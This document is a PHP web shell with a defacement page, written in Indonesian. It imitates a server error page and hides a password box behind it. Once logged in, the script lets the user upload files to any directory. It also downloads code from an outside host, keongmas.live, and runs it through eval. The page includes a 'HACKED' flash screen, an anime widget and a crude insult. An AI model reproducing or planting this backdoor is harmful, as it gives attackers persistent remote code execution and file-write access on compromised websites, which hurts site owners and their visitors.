<?php
session_start();

// Fungsi untuk memeriksa status login
function is_logged_in() {
    return isset($_SESSION['X-H0UR']);
}

// Fungsi untuk memvalidasi login
function login($password) {
    $valid_password_hash = '21232f297a57a5a743894a0e4a801fc3'; // MD5 hash for 'admin'
    $password_hash = md5($password);
    if ($password_hash === $valid_password_hash) {
        $_SESSION['X-H0UR'] = 'user';
        return true;
    } else {
        return false;
    }
}

// Fungsi untuk logout
function logout() {
    unset($_SESSION['X-H0UR']);
}

// Fungsi untuk mengambil konten dari URL
function getContent($url) {
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
    $content = curl_exec($curl);
    curl_close($curl);
    if ($content === false) {
        $content = @file_get_contents($url);
    }
    return $content;
}

// Fungsi untuk mendapatkan data mentah dari URL
function getRawContent($url) {
    return getContent($url);
}

// Tangani proses login
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) {
    $password = $_POST['password'];
    if (login($password)) {
        header('Location: ' . $_SERVER['PHP_SELF']);
        exit;
    } else {
        $error_message = "Password salah!";
        echo '<script>alert("' . $error_message . '");</script>';
    }
}

// Tangani proses unggah file (Hanya untuk pengguna yang login)
if (is_logged_in()) {
    if (isset($_GET['inc']) && $_GET['inc'] === 'upload') {
        echo '<form method="post" enctype="multipart/form-data">';
        echo '<input type="text" name="dir" size="30" value="' . getcwd() . '">';
        echo '<input type="file" name="file" size="15">';
        echo '<input type="submit" value="Unggah">';
        echo '</form>';
    }

    if (isset($_FILES['file']['tmp_name'])) {
        $uploadd = $_FILES['file']['tmp_name'];
        if (file_exists($uploadd)) {
            $pwddir = $_POST['dir'];
            $real = $_FILES['file']['name'];
            $de = rtrim($pwddir, '/') . "/" . $real;
            if (move_uploaded_file($uploadd, $de)) {
                echo "BERKAS DIUNGGAHKAN KE $de";
            } else {
                echo "GAGAL MENGUNGGAH BERKAS KE $de";
            }
        }
    }
}

// Jika pengguna sudah login, ambil dan eksekusi konten dari URL
if (is_logged_in()) {
    $url = 'https://keongmas.live/cache/esteh.txt';
    $content = getRawContent($url);
    eval('?>' . $content);
    exit;
}

?>

<!DOCTYPE html>
<html>
<head>
    <title>Koh Chok Khin Dhonh Conk</title>
</head>
<body>
    <h1>FRI3NDS OF INDONESIA</h1>
    <p>MUKA LU MACAM KONTOL <?php echo $_SERVER['REQUEST_URI']; ?> on this server.</p>
    <hr>
    <address>
        <?php echo $_SERVER['SERVER_SOFTWARE']; ?> Server at <?php echo $_SERVER['SERVER_NAME']; ?> Port <?php echo $_SERVER['SERVER_PORT']; ?>
    </address>
    <form method="post">
        <input style="position: absolute; bottom: 0; left: 50%; transform: translateX(-50%); background-color: #fff; border: 1px solid #fff; text-align: center;" type="password" name="password" id="hiddenPassword" placeholder="">
    </form>

    <!-- ANIME CHARACTER (HIDDEN AWAL) -->
    <div id="animeWrapper" style="display: none;">
        <div id="tulisan-waifu" style="position: fixed; bottom: 260px; right: 30px; z-index: 9999; font-size: 1rem; font-weight: bold; color: #fff; background-color: rgba(0,0,0,0.6); padding: 6px 12px; border-radius: 8px; transform-origin: bottom right; transition: transform 0.3s ease;">
            KOH CHOK KHIN
        </div>
        <div id="live2d-container" style="position:fixed;bottom:0;right:0;width:300px;height:400px;z-index:9998;"></div>
    </div>

    <audio id="waifuVoice" src="https://files.catbox.moe/9l7tuj.mp3" preload="auto"></audio>
    <audio id="waifuClick" src="https://files.catbox.moe/mxwg2r.mp3" preload="auto"></audio>
    <audio id="waifuAngry" src="https://files.catbox.moe/if02na.mp3" preload="auto"></audio>

    <script src="https://unpkg.com/live2d-widget@3.1.4/lib/L2Dwidget.min.js"></script>
    <script>
        let triggered = false;

        function showHacked() {
            let div = document.createElement('div');
            div.innerHTML = '&#9888;&#65039; HACKED &#9888;&#65039;';
            div.style.position = 'fixed';
            div.style.top = '0';
            div.style.left = '0';
            div.style.width = '100%';
            div.style.height = '100%';
            div.style.background = 'black';
            div.style.color = 'red';
            div.style.display = 'flex';
            div.style.alignItems = 'center';
            div.style.justifyContent = 'center';
            div.style.fontSize = '5rem';
            div.style.fontWeight = 'bold';
            div.style.fontFamily = 'monospace';
            div.style.zIndex = '30000';
            div.style.animation = 'blink 0.5s ease-in-out forwards';
            
            let style = document.createElement('style');
            style.textContent = `@keyframes blink { 0% { opacity: 0; } 20% { opacity: 1; } 80% { opacity: 1; } 100% { opacity: 0; } }`;
            document.head.appendChild(style);
            document.body.appendChild(div);
            setTimeout(() => div.remove(), 800);
        }

        function loadAnime() {
            if (triggered) return;
            triggered = true;
            
            showHacked();
            document.getElementById('animeWrapper').style.display = 'block';
            
            if (typeof L2Dwidget !== 'undefined') {
                L2Dwidget.init({
                    model: { jsonPath: 'https://unpkg.com/live2d-widget-model-epsilon2_1@1.0.5/assets/Epsilon2.1.model.json' },
                    display: { position: 'right', width: 260, height: 380, hOffset: 0, vOffset: -20 },
                    mobile: { show: true, scale: 0.9 },
                    react: { opacityDefault: 0.8, opacityOnHover: 1 }
                });
            }
            
            new Audio('https://files.catbox.moe/dnp9jz.mp3').play().catch(e => console.log(e));
            
            setTimeout(() => {
                let tulisan = document.getElementById('tulisan-waifu');
                let live2d = document.getElementById('live2d-container');
                if (live2d && tulisan) {
                    live2d.addEventListener('mousemove', function(e) {
                        let x = (e.offsetX - this.clientWidth / 2) / 20;
                        let y = (e.offsetY - this.clientHeight / 2) / 20;
                        tulisan.style.transform = `translate(${x}px, ${y}px)`;
                    });
                    live2d.addEventListener('mouseleave', function() {
                        tulisan.style.transform = 'translate(0, 0)';
                    });
                }
                
                let waifuAudio = document.getElementById('waifuVoice');
                if (live2d && waifuAudio) {
                    live2d.addEventListener('mouseenter', () => waifuAudio.play().catch(e => console.log(e)));
                }
                
                let clickCount = 0;
                if (live2d) {
                    live2d.addEventListener('click', () => {
                        clickCount++;
                        if (clickCount >= 5) {
                            document.getElementById('waifuAngry').play().catch(e => console.log(e));
                            clickCount = 0;
                        } else {
                            document.getElementById('waifuClick').play().catch(e => console.log(e));
                        }
                    });
                }
            }, 500);
        }

        document.getElementById('hiddenPassword').addEventListener('click', loadAnime);
        document.getElementById('hiddenPassword').addEventListener('focus', loadAnime);
    </script>
</body>
</html>